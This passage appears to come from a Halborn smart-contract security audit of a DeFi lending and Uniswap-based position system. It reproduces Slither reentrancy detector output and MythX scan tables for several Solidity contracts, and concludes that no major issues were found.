                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq_scope_0,amount1Liq_scope_1,totalPositions) (contracts/AtomicController.sol#123)
                - (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
        State variables written after the call(s):
        - (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq_scope_0,amount1Liq_scope_1,totalPositions) (contracts/AtomicController.sol#123)
                - _liqPositions[positionId] = LiqPosition(tickLower,tickUpper,liquidity,feeGrowthInside0LastX128,feeGrowthInside1LastX128) (contracts/UniManager.sol#186-192)
Reentrancy in AtomicController.openPosition(IAtomicController.OpenPosition) (contracts/AtomicController.sol#77-165):
        External calls:
        - IAtomicLending(addTokenPool).borrow(loanAmountIn) (contracts/AtomicController.sol#96)
        - loanAmountOut = swapOut(addToken,coreToken,IERC20(addToken).balanceOf(address(this))) (contracts/AtomicController.sol#99)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq,amount1Liq,totalPositions) (contracts/AtomicController.sol#108)
                - (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
        - IAtomicLending(coreTokenPool).borrow(loanAmountIn) (contracts/AtomicController.sol#111)
        - loanAmountOut = swapOut(coreToken,addToken,IERC20(coreToken).balanceOf(address(this))) (contracts/AtomicController.sol#114)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq_scope_0,amount1Liq_scope_1,totalPositions) (contracts/AtomicController.sol#123)
                - (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
        State variables written after the call(s):
        - limits[msg.sender] = limits[msg.sender] + loanAmountIn (contracts/AtomicController.sol#133)
        - limits[msg.sender] = limits[msg.sender] + loanAmountOut (contracts/AtomicController.sol#136)
Reentrancy in AtomicController.openPosition(IAtomicController.OpenPosition) (contracts/AtomicController.sol#77-165):
        External calls:
        - IAtomicLending(addTokenPool).borrow(loanAmountIn) (contracts/AtomicController.sol#96)
        - loanAmountOut = swapOut(addToken,coreToken,IERC20(addToken).balanceOf(address(this))) (contracts/AtomicController.sol#99)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq,amount1Liq,totalPositions) (contracts/AtomicController.sol#108)
                - (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
        - IAtomicLending(coreTokenPool).borrow(loanAmountIn) (contracts/AtomicController.sol#111)
        - loanAmountOut = swapOut(coreToken,addToken,IERC20(coreToken).balanceOf(address(this))) (contracts/AtomicController.sol#114)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq_scope_0,amount1Liq_scope_1,totalPositions) (contracts/AtomicController.sol#123)
                - (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
        - IERC20(addToken).transferFrom(msg.sender,aStorage,_openPosition.mortgage) (contracts/AtomicController.sol#140)
        - IAtomicStorage(aStorage).sync() (contracts/AtomicController.sol#142)
        State variables written after the call(s):
        - positions[totalPositions] = positionInfo (contracts/AtomicController.sol#160)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2

Reentrancy in AtomicController.liquidate(uint256) (contracts/AtomicController.sol#203-242):
        External calls:
        - getTotalCommission(positionId) (contracts/AtomicController.sol#206)
                - pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
                - pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
                - pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
        - getTotalLiquidity(positionId) (contracts/AtomicController.sol#207)
                - (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
        - IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#209)
        - swapOut(addToken,coreToken,IERC20(addToken).balanceOf(address(this))) (contracts/AtomicController.sol#212)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#219)
        - pool.protocolReward(currentBalance) (contracts/AtomicController.sol#228)
        Event emitted after the call(s):
        - Liquidate(msg.sender,positionId) (contracts/AtomicController.sol#239)
Reentrancy in AtomicController.marketClose(uint256) (contracts/AtomicController.sol#167-173):
        External calls:
        - (coreFee,addFee,pnl) = closePosition(positionId) (contracts/AtomicController.sol#170)
                - pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
                - (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
                - IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#301)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
                - pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
                - pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#313)
                - pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
                - pool.protocolReward(takeFee) (contracts/AtomicController.sol#314)
                - IERC20(addToken).transfer(positionInfo.owner,pnl) (contracts/AtomicController.sol#324)
        Event emitted after the call(s):
        - MarketClose(positionInfo.owner,positionId) (contracts/AtomicController.sol#172)
```

```
Reentrancy in AtomicController.openPosition(IAtomicController.OpenPosition) (contracts/AtomicController.sol#77-165):
        External calls:
        - IAtomicLending(addTokenPool).borrow(loanAmountIn) (contracts/AtomicController.sol#96)
        - loanAmountOut = swapOut(addToken,coreToken,IERC20(addToken).balanceOf(address(this))) (contracts/AtomicController.sol#99)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq,amount1Liq,totalPositions) (contracts/AtomicController.sol#108)
                - (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
        - IAtomicLending(coreTokenPool).borrow(loanAmountIn) (contracts/AtomicController.sol#111)
        - loanAmountOut = swapOut(coreToken,addToken,IERC20(coreToken).balanceOf(address(this))) (contracts/AtomicController.sol#114)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
                - (amount0,amount1) = pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#66-73)
        - (liquidity,None,None) = addLiquidity(tickLower,tickUpper,amount0Liq_scope_0,amount1Liq_scope_1,totalPositions) (contracts/AtomicController.sol#123)
                - (amount0,amount1) = pair.mint(address(this),tickLower,tickUpper,liquidity,abi.encode(address(token0),address(token1))) (contracts/UniManager.sol#175-181)
        - IERC20(addToken).transferFrom(msg.sender,aStorage, openPosition.mortgage) (contracts/AtomicController.sol#140)
        - IAtomicStorage(aStorage).sync() (contracts/AtomicController.sol#142)
        Event emitted after the call(s):
        - NewPosition(msg.sender,(totalPositions - 1)) (contracts/AtomicController.sol#164)
Reentrancy in AtomicController.stopLoss(uint256) (contracts/AtomicController.sol#189-201):
        External calls:
        - closePosition(positionId) (contracts/AtomicController.sol#197)
                - pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
                - (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
                - IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#301)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
                - pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
                - pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#313)
                - pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
                - pool.protocolReward(takeFee) (contracts/AtomicController.sol#314)
                - IERC20(addToken).transfer(positionInfo.owner,pnl) (contracts/AtomicController.sol#324)
        Event emitted after the call(s):
        - StopLoss(positionInfo.owner,positionId) (contracts/AtomicController.sol#200)
Reentrancy in AtomicController.takeProfit(uint256) (contracts/AtomicController.sol#175-187):
        External calls:
        - closePosition(positionId) (contracts/AtomicController.sol#183)
                - pair.burn(liqPosition.tickLower,liqPosition.tickUpper,0) (contracts/UniManager.sol#199)
                - (amount0,amount1) = pair.burn(liqPosition.tickLower,liqPosition.tickUpper,liqPosition.liquidity) (contracts/UniManager.sol#226)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,uint128(amount0),uint128(amount1)) (contracts/UniManager.sol#227)
                - IAtomicStorage(aStorage).withdraw(positionInfo.mortgageAmount) (contracts/AtomicController.sol#301)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - pair.swap(address(this),zeroForOne,amountIn.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#81-89)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MIN_SQRT_RATIO + 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
                - (amount0,amount1) = pair.collect(address(this),liqPosition.tickLower,liqPosition.tickUpper,tokensOwed0,tokensOwed1) (contracts/UniManager.sol#221)
                - (amount0Delta,amount1Delta) = pair.swap(address(this),zeroForOne,-amountOut.toInt256(),(MAX_SQRT_RATIO - 1),abi.encode(Path(tokenIn,tokenOut))) (contracts/UniManager.sol#96-103)
                - pool.protocolReward((balance * 35) / 100) (contracts/AtomicController.sol#405)
                - pool.repay(positionInfo.loanAmountIn) (contracts/AtomicController.sol#313)
                - pool.rewardUser((balance * 50) / 100) (contracts/AtomicController.sol#406)
                - pool.protocolReward(takeFee) (contracts/AtomicController.sol#314)
                - IERC20(addToken).transfer(positionInfo.owner,pnl) (contracts/AtomicController.sol#324)
        Event emitted after the call(s):
        - TakeProfit(positionInfo.owner,positionId) (contracts/AtomicController.sol#186)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3
```

- No major issues found by Slither.

4.2 AUTOMATED SECURITY SCAN

Description:

Halborn used automated security scanners to assist with detection of well-known security issues and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on the smart contracts and sent the compiled results to the analyzers in order to locate any vulnerabilities.

MythX results:

MythX results for AtomicLending.sol and AccessManager.sol.

Report for contracts/AtomicLending.sol
https://dashboard.mythx.io/#/console/analyses/8238a141-e103-4fc5-9f7a-63569bb965d6

Line	SWC Title	Severity	Short Description
9	(SWC-103) Floating Pragma	Low	A floating pragma is set.
64	(SWC-107) Reentrancy	Low	Write to persistent state following external call.
64	(SWC-107) Reentrancy	Low	Read of persistent state following external call.
65	(SWC-107) Reentrancy	Low	Read of persistent state following external call.
65	(SWC-107) Reentrancy	Low	Write to persistent state following external call.
173	(SWC-107) Reentrancy	Low	Write to persistent state following external call.
173	(SWC-107) Reentrancy	Low	Read of persistent state following external call.

Report for contracts/AccessManager.sol
https://dashboard.mythx.io/#/console/analyses/cee2e524-877b-4914-ad34-9f82a4212eab

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.

MythX results for AtomicStorage.sol.

Report for contracts/AtomicStorage.sol
https://dashboard.mythx.io/#/console/analyses/cc6ce5e1-25c9-425f-8dac-377b90ab3155

Line	SWC Title	Severity	Short Description
4	(SWC-103) Floating Pragma	Low	A floating pragma is set.

MythX results for AtomicController.sol and UniManager.sol.

Report for contracts/AtomicController.sol
https://dashboard.mythx.io/#/console/analyses/d69beba8-cf84-4f02-affb-727f877c87b5

Line	SWC Title	Severity	Short Description
9	(SWC-103) Floating Pragma	Low	A floating pragma is set.
11	(SWC-123) Requirement Violation	Low	Requirement violation.

Report for contracts/UniManager.sol
https://dashboard.mythx.io/#/console/analyses/d69beba8-cf84-4f02-affb-727f877c87b5

Line	SWC Title	Severity	Short Description
226	(SWC-123) Requirement Violation	Low	Requirement violation.

- No major issues found by MythX.

THANK YOU FOR CHOOSING

// HALBORN